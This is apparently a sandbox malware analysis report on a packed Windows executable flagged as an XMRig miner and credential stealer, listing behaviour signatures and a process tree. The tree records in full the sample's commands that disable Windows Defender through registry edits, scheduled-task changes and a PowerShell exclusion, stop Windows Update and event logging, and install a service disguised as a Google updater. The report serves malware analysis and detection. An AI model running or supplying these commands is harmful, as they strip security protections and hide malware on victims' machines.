Overview

overview

10

Static

static

7

12cffa8889...1a.exe

windows10-2004-x64

10

12cffa8889...1a.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 07:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    12cffa88893c9fabd2ec1153f535886c0dc2a2a786dbbed1dbaed365747d761a.exe
  • Size 4.3MB
  • Sample260706-h4d5bsfs2p
  • SHA256 12cffa88893c9fabd2ec1153f535886c0dc2a2a786dbbed1dbaed365747d761a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryevasionexecutionxmrigminerpersistencespywarestealerthemidatrojan

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • XMRig Miner payload 8 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 2 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Themida packer 39 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies Security services 2 TTPs 3 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 4 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 56 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\12cffa88893c9fabd2ec1153f535886c0dc2a2a786dbbed1dbaed365747d761a.exe
    "C:\Users\Admin\AppData\Local\Temp\12cffa88893c9fabd2ec1153f535886c0dc2a2a786dbbed1dbaed365747d761a.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5632
    • C:\ProgramData\Chrome141\Chrome140.exe
      "C:\ProgramData\Chrome141\Chrome140.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6028
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\7kxeQE\IvdDECE51\1.bat"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6660
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2476
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5888
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • System Location Discovery: System Language Discovery
          PID:6692
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5292
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5688
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3128
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1816
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5796
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:6696
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:5032
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:5624
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:3940
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1924
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:980
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2452
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:6484
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:6664
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:6944
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:7036
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:7140
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:924
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1744
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2148
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1160
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2012
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4720
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1972
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1196
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5504
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1052
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3216
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1840
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6292
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:6972
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:6904
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:6364
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4964
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
          4⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:6480
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
          4⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:2600
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
          4⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:6740
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
          4⤵
          • Modifies security service
          • System Location Discovery: System Language Discovery
          PID:6996
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4404
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5296
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender notification settings
          • System Location Discovery: System Language Discovery
          PID:6952
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
          4⤵
          • Modifies Windows Defender notification settings
          • System Location Discovery: System Language Discovery
          PID:1612
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3100
      • C:\Users\Admin\X2btA\PU4JU9Dk1V\chrome_144.exe
        "C:\Users\Admin\X2btA\PU4JU9Dk1V\chrome_144.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Drops file in Drivers directory
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        PID:3208
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:2424
            • C:\Windows\System32\wusa.exe
              wusa /uninstall /kb:890830 /quiet /norestart
              5⤵
                PID:6008
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop UsoSvc
              4⤵
              • Launches sc.exe
              PID:6460
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop WaaSMedicSvc
              4⤵
              • Launches sc.exe
              PID:4408
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop wuauserv
              4⤵
              • Launches sc.exe
              PID:6220
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop bits
              4⤵
              • Launches sc.exe
              PID:6344
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop dosvc
              4⤵
              • Launches sc.exe
              PID:6964
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              4⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:1508
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              4⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:6196
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              4⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:1980
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              4⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:6496
            • C:\Windows\system32\dialer.exe
              C:\Windows\system32\dialer.exe
              4⤵
                PID:1760
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                4⤵
                • Launches sc.exe
                PID:1276
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                4⤵
                • Launches sc.exe
                PID:1972
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop eventlog
                4⤵
                • Launches sc.exe
                PID:6072
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                4⤵
                • Launches sc.exe
                PID:6292
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              3⤵
                PID:1684
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:1704
            • C:\ProgramData\Chrome141\Chrome140.exe
              C:\ProgramData\Chrome141\Chrome140.exe
              1⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4516
            • C:\Windows\System32\rundll32.exe
              C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding
              1⤵
                PID:4308
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                1⤵
                • Drops file in Windows directory
                • Enumerates system info in registry
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:6880
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffe762ec728,0x7ffe762ec734,0x7ffe762ec740
                  2⤵
                    PID:4804
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,6404578044693285854,2808092435452292534,262144 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:2
                    2⤵
                      PID:1772
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2140,i,9393647920018083549,13059626833441017302,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=1476 /prefetch:11
                      2⤵
                      • System Time Discovery
                      PID:6048
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2304,i,6188788749294402658,16602221202416632305,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
                      2⤵
                        PID:6392
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3200,i,7880026134420941833,790352940868512800,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
                        2⤵
                          PID:6536
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3204,i,1146475941562000663,2623673249888466057,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
                          2⤵
                            PID:7128
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4572,i,3523390661613204786,12238820314470211523,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:1
                            2⤵
                              PID:3356
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4808,i,4556002835533557572,8319371123237871023,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:14
                              2⤵
                                PID:6840
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4964,i,6891902747053671747,4534618306395968747,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=4952 /prefetch:14
                                2⤵
                                  PID:5664
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4992,i,10637373874597815084,15907020478630950874,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
                                  2⤵
                                    PID:1712
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4972,i,17515247728243723307,7104262335237915250,524288 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
                                    2⤵
                                      PID:2008
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5788,i,2676996244755414269,3137786219979114050,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:1
                                      2⤵
                                        PID:5912
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4952,i,11259198140844290421,744354277216843713,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:1
                                        2⤵
                                          PID:2448
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5252,i,12769585726458197254,13341854985136876361,2097152 --field-trial-handle=1896,i,2341663158902368609,7073624186761827431,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
                                          2⤵
                                            PID:4764
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
